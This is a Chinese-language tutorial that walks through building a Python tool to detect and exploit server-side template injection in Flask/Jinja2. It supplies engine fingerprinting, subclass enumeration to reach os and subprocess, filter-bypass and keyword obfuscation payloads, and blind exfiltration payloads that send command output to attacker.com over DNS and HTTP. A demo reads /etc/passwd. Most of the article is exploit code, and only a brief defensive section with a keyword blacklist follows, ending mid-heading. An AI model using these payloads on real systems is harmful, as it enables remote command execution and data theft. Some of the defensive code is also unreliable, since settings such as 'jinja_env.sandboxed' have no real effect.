实战演练：用Python脚本自动化探测Flask Jinja2 SSTI漏洞（附完整代码）-深圳市維司達科技有限公司

从零构建Flask SSTI自动化探测工具：Python实战与高级绕过技术

在渗透测试和CTF竞赛中，服务器端模板注入(SSTI)一直是Web安全领域的重要攻击面。Flask框架因其轻量级特性被广泛使用，而Jinja2模板引擎的SSTI漏洞更是屡见不鲜。本文将带你从零开始，用Python构建一个全自动化的SSTI探测与利用工具，不仅涵盖基础检测逻辑，更深入探讨如何智能绕过各种过滤机制。

1. 工具架构设计与核心模块

一个完整的SSTI自动化工具应该包含以下核心组件：

class SSTIScanner: def __init__(self, target_url): self.target = target_url self.session = requests.Session() self.detected_payloads = [] def detect_template_engine(self): """识别模板引擎类型""" pass def find_object_subclasses(self): """枚举object基类的所有子类""" pass def locate_dangerous_modules(self): """定位危险模块(如os、subprocess)""" pass def generate_bypass_payloads(self, filters): """根据过滤规则生成绕过payload""" pass def execute_commands(self, cmd): """执行系统命令并获取结果""" pass

关键设计考虑：

多线程/协程支持以提高扫描效率
智能重试机制应对WAF拦截
上下文感知的payload生成系统
模块化的检测规则便于扩展

2. 引擎检测与类继承链分析

准确的模板引擎识别是成功利用的前提。我们的工具采用指纹特征匹配策略：

ENGINE_FINGERPRINTS = { 'Jinja2': [ ('{{7*7}}', '49'), ('{{7*\'7\'}}', '7777777') ], 'Twig': [ ('{{7*7}}', '49'), ('{{7*\'7\'}}', '49') ], 'Django': [ ('{% templatetag openvariable %}7*7{% templatetag closevariable %}', '49') ] } def detect_engine(self): for engine, tests in ENGINE_FINGERPRINTS.items(): match = True for test, expected in tests: if expected not in self._send_payload(test): match = False break if match: return engine return 'Unknown'

类继承链分析是SSTI利用的核心。我们通过Python反射机制自动化这个过程：

def analyze_inheritance(self): base_payload = "{{''.__class__.__mro__[1].__subclasses__()}}" response = self._send_payload(base_payload) # 使用正则提取所有子类信息 classes = re.findall(r"<class '([^']+)'>", response) return { 'object_subclasses': classes, 'total_count': len(classes) }

3. 危险模块定位技术

自动化定位关键模块需要结合模糊测试和特征检测：

CRITICAL_MODULES = { 'os': ['os.py', 'posix', 'nt'], 'subprocess': ['Popen', 'call'], 'eval': ['eval', 'exec'], 'file_access': ['FileLoader', 'open'] } def scan_dangerous_modules(self): results = {} for i, class_name in enumerate(self.class_hierarchy): payload = f"{{{{''.__class__.__base__.__subclasses__()[{i}].__init__.__globals__}}}}" response = self._send_payload(payload) for mod_type, keywords in CRITICAL_MODULES.items(): if any(kw in response for kw in keywords): if mod_type not in results: results[mod_type] = [] results[mod_type].append({ 'index': i, 'class': class_name, 'keywords_found': [kw for kw in keywords if kw in response] }) return results

优化技巧：

使用二分查找加速模块定位
实现类索引缓存避免重复检测
添加误报过滤机制

4. 高级绕过技术实现

现代WAF往往采用多层过滤，我们的工具需要智能适应各种防护措施。

4.1 符号过滤绕过

当特殊符号被过滤时，可以采用多种替代方案：

BYPass_TECHNIQUES = { 'brackets': { 'original': "{{().__class__}}", 'alternatives': [ "{{()['__class__']}}", "{% set x='__class__' %}{{()[x]}}", "{{()|attr('\x5f\x5fclass\x5f\x5f')}}" ] }, 'quotes': { 'original': "{{config.items()}}", 'alternatives': [ "{{config.items()|join(',')}}", "{{request.args.c|default(config.items())}}", "{{getattr(config,'items')()}}" ] } }

4.2 关键字混淆技术

对于关键字过滤，我们实现了一个动态混淆引擎：

def obfuscate_keyword(keyword): variations = [ # 字符串拼接 f"'{keyword[:2]}'+'{keyword[2:]}'", # 十六进制编码 ''.join([f'\\x{ord(c):02x}' for c in keyword]), # 反转恢复 f"'{keyword[::-1]}'|reverse", # 过滤器组合 f"dict({keyword[:3]}=a,{keyword[3:]}=a)|join" ] return variations # 示例：生成class关键字的绕过变种 print(obfuscate_keyword('__class__'))

4.3 无回显攻击技术

当遇到无回显场景时，工具自动切换至以下模式：

def blind_exploit(self, cmd): # DNS外带数据 dns_payload = f"{{{{().__class__.__base__.__subclasses__()[1337].__init__.__globals__['os'].system('ping -c 1 {cmd}.attacker.com')}}}}" # HTTP请求外带 http_payload = f"{{{{().__class__.__base__.__subclasses__()[1337].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/?data='+().__class__.__base__.__subclasses__()[1337].__init__.__globals__['os'].popen('{cmd}').read())}}}}" # 时间盲注 time_payload = f"{{% if ().__class__.__base__.__subclasses__()[1337].__init__.__globals__['os'].system('sleep 5') %}}1{% endif %}}" return { 'dns': dns_payload, 'http': http_payload, 'time': time_payload }

5. 实战案例：自动化攻防演练

让我们模拟一个真实场景，演示工具的全流程运作：

目标识别

scanner = SSTIScanner("http://vuln-app.com/search?query=") print(scanner.detect_engine()) # 输出: Jinja2

类继承分析

hierarchy = scanner.analyze_inheritance() print(f"发现{hierarchy['total_count']}个子类")

关键模块定位

modules = scanner.scan_dangerous_modules() print(f"找到os模块在索引:{modules['os'][0]['index']}")

命令执行

payload = scanner.generate_payload( module_index=modules['os'][0]['index'], command="cat /etc/passwd", filters=['brackets', 'quotes'] ) print(scanner.execute_payload(payload))

性能优化提示：

使用LRU缓存已检测的类信息
实现异步IO提升扫描速度
添加智能延迟规避速率限制

6. 防御视角：如何保护Flask应用

从开发者角度，我们可以采取以下防护措施：

from flask import Flask, render_template_string import jinja2 app = Flask(__name__) # 安全配置示例 app.jinja_env.autoescape = True app.jinja_env.sandboxed = True app.config['TEMPLATES_AUTO_RELOAD'] = False # 自定义安全过滤器 def safe_render(template, **context): sandbox = jinja2.sandbox.SandboxedEnvironment() template = sandbox.from_string(template) return template.render(**context) # 危险函数黑名单 BLACKLIST = ['__class__', '__base__', '__subclasses__', 'os', 'eval'] @app.route('/search') def search(): query = request.args.get('query', '') if any(bad in query for bad in BLACKLIST): abort(403) return safe_render(f"<p>结果: {query}</p>")

纵深防御策略：